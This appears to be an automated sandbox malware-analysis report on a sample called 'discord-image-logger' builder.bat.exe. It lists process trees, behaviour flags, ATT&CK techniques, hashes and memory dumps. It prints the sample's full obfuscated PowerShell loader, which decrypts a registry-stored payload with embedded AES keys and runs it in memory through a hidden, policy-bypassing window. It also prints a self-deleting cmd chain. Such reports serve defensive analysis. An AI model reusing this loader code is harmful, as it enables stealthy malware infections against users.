$PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hbuWR, 0, $hbuWR.Length);$hbuWR = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($hbuWR);$ZzVHZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XLxMpEm8cOctcAJWUeWXmQ==');$ZzVHZ = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZzVHZ, 0, $ZzVHZ.Length);$ZzVHZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZzVHZ);$zmDYn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x//PQ4u8mfYZiPHe2OGfrd00QBKiDvcEzPaDrYozv8uYedand6uL0wzlN+5O+AFhCoQAKBv651U3V0221QDxAvpv3KCyoJoReYXVHf6P7M/KyX5+2eOQjYEjFwTGbUjMLAybGiiaRNU03vlqAT7agKum7o1H6WfH+N764uOSYGL3HIdf7WKB0TMZlcqkVcZ4EbttcZsQjZV1vkCPbJt39bdJJTOLlHC5/EHgOLRlT+W3G+02exnNVSpXP20jdKzqezuTgmjWtvyJkL9/lFJG3FHUGehTiuT3ar2yFCKi4/OkHCw1z1DGbDJvEtWfauUaRRol3S/UgNocMBrJOXX+Aw0PMubGj40DP02/Mw4JY8R/V/7YpQkEP43UqopfbI11ciWaaIn/nKzAOZ+bXBTY5L+DxT8LfXRiRGkrI1/LwcQ=');$zmDYn = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zmDYn, 0, $zmDYn.Length);$zmDYn = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zmDYn);$nTpTd = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NW2EL3qe/ZOARS0s/ML1EA==');$nTpTd = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($nTpTd, 0, $nTpTd.Length);$nTpTd = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($nTpTd);$snbQC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2AgSI40erquiJx027xjhrA==');$snbQC = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($snbQC, 0, $snbQC.Length);$snbQC = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($snbQC);$qxpKv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2iK7UtzUwrolEWaIcQUhnQ==');$qxpKv = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($qxpKv, 0, $qxpKv.Length);$qxpKv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($qxpKv);$AJQNv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KrSM+woEOB3Vezss7LVo2Q==');$AJQNv = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($AJQNv, 0, $AJQNv.Length);$AJQNv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($AJQNv);$AfXGh = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7Wjsjcy3SC8ri3a9Bw4QkA==');$AfXGh = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($AfXGh, 0, $AfXGh.Length);$AfXGh = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($AfXGh);$GCidc0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zah5Ks6KFV7nxV/Lj1cbNA==');$GCidc0 = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GCidc0, 0, $GCidc0.Length);$GCidc0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GCidc0);$GCidc1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3d2GFulV4IACfF1Solw09Q==');$GCidc1 = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GCidc1, 0, $GCidc1.Length);$GCidc1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GCidc1);$GCidc2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dmoVWHHHBRJhscv9vH7d+Q==');$GCidc2 = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GCidc2, 0, $GCidc2.Length);$GCidc2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GCidc2);$GCidc3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Yy1MO8gEwf8dMKODGTzF5g==');$GCidc3 = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GCidc3, 0, $GCidc3.Length);$GCidc3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GCidc3);$PwPCN.Dispose();$UaEuB1.Dispose();if (@(get-process -ea silentlycontinue $GCidc3).count -gt 1) {exit};$UtsnC = [Microsoft.Win32.Registry]::$AJQNv.$qxpKv($GCidc).$snbQC($hbuWR);$VFMJc=[string[]]$UtsnC.Split('\');$rhtBQ=XNrXq(OONaJ([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($VFMJc[1])));LWfQc $rhtBQ (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$NvzQg = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($VFMJc[0]);$UaEuB = New-Object System.Security.Cryptography.AesManaged;$UaEuB.Mode = [System.Security.Cryptography.CipherMode]::CBC;$UaEuB.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$UaEuB.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tpmLSLfO82GY8X9Uk5Rdcs14/nfUtYA6Sn+ueOLgpTk=');$UaEuB.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MtyvC8ZzBF30QNLH3U5QaQ==');$hVJMW = $UaEuB.('rotpyrceDetaerC'[-1..-15] -join '')();$NvzQg = $hVJMW.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NvzQg, 0, $NvzQg.Length);$hVJMW.Dispose();$UaEuB.Dispose();$JuLib = New-Object System.IO.MemoryStream(, $NvzQg);$yWMQI = New-Object System.IO.MemoryStream;$ovPeB = New-Object System.IO.Compression.GZipStream($JuLib, [IO.Compression.CompressionMode]::$GCidc1);$ovPeB.$AfXGh($yWMQI);$ovPeB.Dispose();$JuLib.Dispose();$yWMQI.Dispose();$NvzQg = $yWMQI.ToArray();$fcYPL = $zmDYn | IEX;$ABDeF = $fcYPL::$GCidc2($NvzQg);$WyGRR = $ABDeF.EntryPoint;$WyGRR.$GCidc0($null, (, [string[]] ($ZzVHZ)))
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Executes dropped EXE
      Hide Artifacts: Hidden Window
      Drops file in System32 directory
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:64
    - - C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(64).WaitForExit();[System.Threading.Thread]::Sleep(5000); function OONaJ($CAUyg){ $UaEuB=[System.Security.Cryptography.Aes]::Create(); $UaEuB.Mode=[System.Security.Cryptography.CipherMode]::CBC; $UaEuB.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $UaEuB.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tpmLSLfO82GY8X9Uk5Rdcs14/nfUtYA6Sn+ueOLgpTk='); $UaEuB.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MtyvC8ZzBF30QNLH3U5QaQ=='); $hVJMW=$UaEuB.('rotpyrceDetaerC'[-1..-15] -join '')(); $dSUQC=$hVJMW.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CAUyg, 0, $CAUyg.Length); $hVJMW.Dispose(); $UaEuB.Dispose(); $dSUQC;}function XNrXq($CAUyg){ $JuLib=New-Object System.IO.MemoryStream(,$CAUyg); $yWMQI=New-Object System.IO.MemoryStream; $ovPeB=New-Object System.IO.Compression.GZipStream($JuLib, [IO.Compression.CompressionMode]::Decompress); $ovPeB.CopyTo($yWMQI); $ovPeB.Dispose(); $JuLib.Dispose(); $yWMQI.Dispose(); $yWMQI.ToArray();}function LWfQc($CAUyg,$FEAph){ $ABDeF=[System.Reflection.Assembly]::Load([byte[]]$CAUyg); $WyGRR=$ABDeF.EntryPoint; $WyGRR.Invoke($null, $FEAph);}$UaEuB1 = New-Object System.Security.Cryptography.AesManaged;$UaEuB1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$UaEuB1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$UaEuB1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tpmLSLfO82GY8X9Uk5Rdcs14/nfUtYA6Sn+ueOLgpTk=');$UaEuB1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MtyvC8ZzBF30QNLH3U5QaQ==');$PwPCN = $UaEuB1.('rotpyrceDetaerC'[-1..-15] -join '')();$GCidc = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XSkKpx7QoQiF0BsaqEtF9g==');$GCidc = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GCidc, 0, $GCidc.Length);$GCidc = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GCidc);$hbuWR = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('b2Ib4CeUG3V15LN/pc/Lrm4LCmpRZWn3AV06VFawX7o=');$hbuWR = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hbuWR, 0, $hbuWR.Length);$hbuWR = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($hbuWR);$ZzVHZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XLxMpEm8cOctcAJWUeWXmQ==');$ZzVHZ = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($ZzVHZ, 0, $ZzVHZ.Length);$ZzVHZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($ZzVHZ);$zmDYn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x//PQ4u8mfYZiPHe2OGfrd00QBKiDvcEzPaDrYozv8uYedand6uL0wzlN+5O+AFhCoQAKBv651U3V0221QDxAvpv3KCyoJoReYXVHf6P7M/KyX5+2eOQjYEjFwTGbUjMLAybGiiaRNU03vlqAT7agKum7o1H6WfH+N764uOSYGL3HIdf7WKB0TMZlcqkVcZ4EbttcZsQjZV1vkCPbJt39bdJJTOLlHC5/EHgOLRlT+W3G+02exnNVSpXP20jdKzqezuTgmjWtvyJkL9/lFJG3FHUGehTiuT3ar2yFCKi4/OkHCw1z1DGbDJvEtWfauUaRRol3S/UgNocMBrJOXX+Aw0PMubGj40DP02/Mw4JY8R/V/7YpQkEP43UqopfbI11ciWaaIn/nKzAOZ+bXBTY5L+DxT8LfXRiRGkrI1/LwcQ=');$zmDYn = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zmDYn, 0, $zmDYn.Length);$zmDYn = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zmDYn);$nTpTd = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NW2EL3qe/ZOARS0s/ML1EA==');$nTpTd = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($nTpTd, 0, $nTpTd.Length);$nTpTd = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($nTpTd);$snbQC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2AgSI40erquiJx027xjhrA==');$snbQC = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($snbQC, 0, $snbQC.Length);$snbQC = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($snbQC);$qxpKv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2iK7UtzUwrolEWaIcQUhnQ==');$qxpKv = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($qxpKv, 0, $qxpKv.Length);$qxpKv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($qxpKv);$AJQNv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KrSM+woEOB3Vezss7LVo2Q==');$AJQNv = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($AJQNv, 0, $AJQNv.Length);$AJQNv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($AJQNv);$AfXGh = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7Wjsjcy3SC8ri3a9Bw4QkA==');$AfXGh = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($AfXGh, 0, $AfXGh.Length);$AfXGh = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($AfXGh);$GCidc0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zah5Ks6KFV7nxV/Lj1cbNA==');$GCidc0 = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GCidc0, 0, $GCidc0.Length);$GCidc0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GCidc0);$GCidc1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3d2GFulV4IACfF1Solw09Q==');$GCidc1 = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GCidc1, 0, $GCidc1.Length);$GCidc1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GCidc1);$GCidc2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dmoVWHHHBRJhscv9vH7d+Q==');$GCidc2 = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GCidc2, 0, $GCidc2.Length);$GCidc2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GCidc2);$GCidc3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Yy1MO8gEwf8dMKODGTzF5g==');$GCidc3 = $PwPCN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GCidc3, 0, $GCidc3.Length);$GCidc3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GCidc3);$PwPCN.Dispose();$UaEuB1.Dispose();if (@(get-process -ea silentlycontinue $GCidc3).count -gt 1) {exit};$UtsnC = [Microsoft.Win32.Registry]::$AJQNv.$qxpKv($GCidc).$snbQC($hbuWR);$VFMJc=[string[]]$UtsnC.Split('\');$rhtBQ=XNrXq(OONaJ([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($VFMJc[1])));LWfQc $rhtBQ (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$NvzQg = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($VFMJc[0]);$UaEuB = New-Object System.Security.Cryptography.AesManaged;$UaEuB.Mode = [System.Security.Cryptography.CipherMode]::CBC;$UaEuB.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$UaEuB.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tpmLSLfO82GY8X9Uk5Rdcs14/nfUtYA6Sn+ueOLgpTk=');$UaEuB.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MtyvC8ZzBF30QNLH3U5QaQ==');$hVJMW = $UaEuB.('rotpyrceDetaerC'[-1..-15] -join '')();$NvzQg = $hVJMW.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NvzQg, 0, $NvzQg.Length);$hVJMW.Dispose();$UaEuB.Dispose();$JuLib = New-Object System.IO.MemoryStream(, $NvzQg);$yWMQI = New-Object System.IO.MemoryStream;$ovPeB = New-Object System.IO.Compression.GZipStream($JuLib, [IO.Compression.CompressionMode]::$GCidc1);$ovPeB.$AfXGh($yWMQI);$ovPeB.Dispose();$JuLib.Dispose();$yWMQI.Dispose();$NvzQg = $yWMQI.ToArray();$fcYPL = $zmDYn | IEX;$ABDeF = $fcYPL::$GCidc2($NvzQg);$WyGRR = $ABDeF.EntryPoint;$WyGRR.$GCidc0($null, (, [string[]] ($ZzVHZ)))
        5⤵
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1628
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C PING localhost -n 8 >NUL & taskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\discord-image-logger-main\builder.bat.exe" & ATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\discord-image-logger-main\builder.bat.exe" & del /f "C:\Users\Admin\AppData\Local\Temp\discord-image-logger-main\builder.bat.exe"
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      PID:5480
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        Suspicious use of SetWindowsHookEx
        
        PID:5496
    - - C:\Windows\system32\PING.EXE
        
        PING localhost -n 8
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5600
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\discord-image-logger-main\builder.bat.exe"
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5728
    - - C:\Windows\system32\attrib.exe
        
        ATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\discord-image-logger-main\builder.bat.exe"
        5⤵
        Views/modifies file attributes
        
        PID:5812

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3568

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3748

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Suspicious use of UnmapMainImage
PID:3904

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Suspicious use of UnmapMainImage
PID:3928

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p
1⤵
PID:4820

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4592

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:5000

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:4172

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1636

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:3364

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:2384

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:3604

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:1124

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:372

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc
1⤵
PID:3496

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3948

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:840

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:432

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:464

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Hidden Window

T1564.003

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_epcm4cmd.trf.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\discord-image-logger-main\builder.bat.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
C:\Windows\System32\ucrtbased.dll

Filesize
1.8MB

MD5
7873612dddd9152d70d892427bc45ef0

SHA1
ab9079a43a784471ca31c4f0a34b698d99334dfa

SHA256
203d10b0deaea87d5687d362ba925289a13e52b5df55b9de58ba534290af27bf

SHA512
d988e9ff11017465b019cf3b599ef7597d2c44fc37cbee9e846dee51990ca5dc45942cc183d9d25c1dfd84f33f922c2ceead6efc1ead19e8eecb509dfb78a083

Download Submit
C:\Windows\System32\vcruntime140_1d.dll

Filesize
52KB

MD5
9ef28981adcbf4360de5f11b8f4ecff9

SHA1
219aaa1a617b1dfa36f3928bd1020e410666134f

SHA256
8caaca1bfc909fcb972ceade7be7b80b5855a4621562ee32a10c9903b616d49a

SHA512
ef7f0b25fae749e6134269683f973fef37dfa1969fa4fa0567378ada073c36da4feb17b62d3282c443f4d3ba8b4aeb39063c607c848ade095880d981141adb9c

Download Submit
C:\Windows\System32\vcruntime140d.dll

Filesize
162KB

MD5
a366d6623c14c377c682d6b5451575e6

SHA1
a8894fcfb3aa06ad073b1f581b2e749b54827971

SHA256
7ed89c668d8ec04c1a0a73f35702b8e0d9819e13e6e7c51c4ac0e0abda6683e6

SHA512
cc7da40652209337d2122cafc903d3c11e31b5a37baf2247034e2f3e1de255e58d0e27fc134ce60a6812e6674fd8bc899f2b434dfc1160053f684cf220e6cb11

Download Submit
memory/64-61-0x00007FFD713F0000-0x00007FFD715E5000-memory.dmp

Filesize
2.0MB

Download
memory/64-59-0x00000284207D0000-0x0000028420C2C000-memory.dmp

Filesize
4.4MB

Download
memory/64-82-0x00007FFD70890000-0x00007FFD7094E000-memory.dmp

Filesize
760KB

Download
memory/64-58-0x0000028420010000-0x00000284207CC000-memory.dmp

Filesize
7.7MB

Download
memory/64-57-0x000002841FBD0000-0x0000028420012000-memory.dmp

Filesize
4.3MB

Download
memory/64-55-0x00007FFD713F0000-0x00007FFD715E5000-memory.dmp

Filesize
2.0MB

Download
memory/64-81-0x00007FFD713F0000-0x00007FFD715E5000-memory.dmp

Filesize
2.0MB

Download
memory/64-80-0x00000284212C0000-0x00000284212EE000-memory.dmp

Filesize
184KB

Download
memory/64-75-0x0000028421360000-0x000002842139C000-memory.dmp

Filesize
240KB

Download
memory/64-68-0x0000028421420000-0x00000284214D2000-memory.dmp

Filesize
712KB

Download
memory/64-69-0x0000028421B90000-0x0000028421D52000-memory.dmp

Filesize
1.8MB

Download
memory/64-56-0x00007FFD70890000-0x00007FFD7094E000-memory.dmp

Filesize
760KB

Download
memory/64-67-0x0000028421310000-0x0000028421360000-memory.dmp

Filesize
320KB

Download
memory/64-60-0x0000028420C30000-0x0000028420CE2000-memory.dmp

Filesize
712KB

Download
memory/336-109-0x00007FFD31470000-0x00007FFD31480000-memory.dmp

Filesize
64KB

Download
memory/336-108-0x000001906BE30000-0x000001906BE57000-memory.dmp

Filesize
156KB

Download
memory/612-98-0x0000019BFE560000-0x0000019BFE581000-memory.dmp

Filesize
132KB

Download
memory/612-99-0x0000019BFE590000-0x0000019BFE5B7000-memory.dmp

Filesize
156KB

Download
memory/612-100-0x00007FFD31470000-0x00007FFD31480000-memory.dmp

Filesize
64KB

Download
memory/652-30-0x00007FFD713F0000-0x00007FFD715E5000-memory.dmp

Filesize
2.0MB

Download
memory/652-23-0x00007FFD531B0000-0x00007FFD53C71000-memory.dmp

Filesize
10.8MB

Download
memory/652-886-0x00007FFD531B0000-0x00007FFD53C71000-memory.dmp

Filesize
10.8MB

Download
memory/652-884-0x00007FFD5E743000-0x00007FFD5E744000-memory.dmp

Filesize
4KB

Download
memory/652-29-0x0000024AA4DE0000-0x0000024AA4DEC000-memory.dmp

Filesize
48KB

Download
memory/652-28-0x0000024AC7860000-0x0000024AC78B8000-memory.dmp

Filesize
352KB

Download
memory/652-27-0x0000024AC9760000-0x0000024AC99F8000-memory.dmp

Filesize
2.6MB

Download
memory/652-26-0x0000024AC9470000-0x0000024AC9758000-memory.dmp

Filesize
2.9MB

Download
memory/652-24-0x0000024AC83C0000-0x0000024AC9466000-memory.dmp

Filesize
16.6MB

Download
memory/652-6-0x00007FFD531B3000-0x00007FFD531B5000-memory.dmp

Filesize
8KB

Download
memory/652-7-0x0000024ABF2D0000-0x0000024ABF2F2000-memory.dmp

Filesize
136KB

Download
memory/652-35-0x00007FFD531B0000-0x00007FFD53C71000-memory.dmp

Filesize
10.8MB

Download
memory/652-22-0x00007FFD531B3000-0x00007FFD531B5000-memory.dmp

Filesize
8KB

Download
memory/652-20-0x00007FFD713F0000-0x00007FFD715E5000-memory.dmp

Filesize
2.0MB

Download
memory/652-17-0x00007FFD531B0000-0x00007FFD53C71000-memory.dmp

Filesize
10.8MB

Download
memory/652-18-0x00007FFD531B0000-0x00007FFD53C71000-memory.dmp

Filesize
10.8MB

Download
memory/652-21-0x00007FFD70890000-0x00007FFD7094E000-memory.dmp

Filesize
760KB

Download
memory/652-19-0x0000024AA4DB0000-0x0000024AA4DDC000-memory.dmp

Filesize
176KB

Download
memory/672-104-0x00007FFD31470000-0x00007FFD31480000-memory.dmp

Filesize
64KB

Download
memory/672-103-0x000001E98ED40000-0x000001E98ED67000-memory.dmp

Filesize
156KB

Download
memory/740-116-0x00007FFD31470000-0x00007FFD31480000-memory.dmp

Filesize
64KB

Download
memory/740-115-0x0000017AB1120000-0x0000017AB1147000-memory.dmp

Filesize
156KB

Download
memory/920-124-0x00007FFD31470000-0x00007FFD31480000-memory.dmp

Filesize
64KB

Download
memory/920-123-0x000001C6852C0000-0x000001C6852E7000-memory.dmp

Filesize
156KB

Download
memory/952-111-0x0000016066FA0000-0x0000016066FC7000-memory.dmp

Filesize
156KB

Download
memory/952-112-0x00007FFD31470000-0x00007FFD31480000-memory.dmp

Filesize
64KB

Download
memory/1056-127-0x00007FFD31470000-0x00007FFD31480000-memory.dmp

Filesize
64KB

Download
memory/1056-126-0x0000020279560000-0x0000020279587000-memory.dmp

Filesize
156KB

Download
memory/1076-129-0x000001A475390000-0x000001A4753B7000-memory.dmp

Filesize
156KB

Download
memory/1076-130-0x00007FFD31470000-0x00007FFD31480000-memory.dmp

Filesize
64KB

Download
memory/1172-132-0x000002544E380000-0x000002544E3A7000-memory.dmp

Filesize
156KB

Download
memory/1172-133-0x00007FFD31470000-0x00007FFD31480000-memory.dmp

Filesize
64KB

Download
memory/1232-136-0x00007FFD31470000-0x00007FFD31480000-memory.dmp

Filesize
64KB

Download
memory/1232-135-0x00000220C09A0000-0x00000220C09C7000-memory.dmp

Filesize
156KB

Download
memory/3164-34-0x0000000140000000-0x0000000140004000-memory.dmp

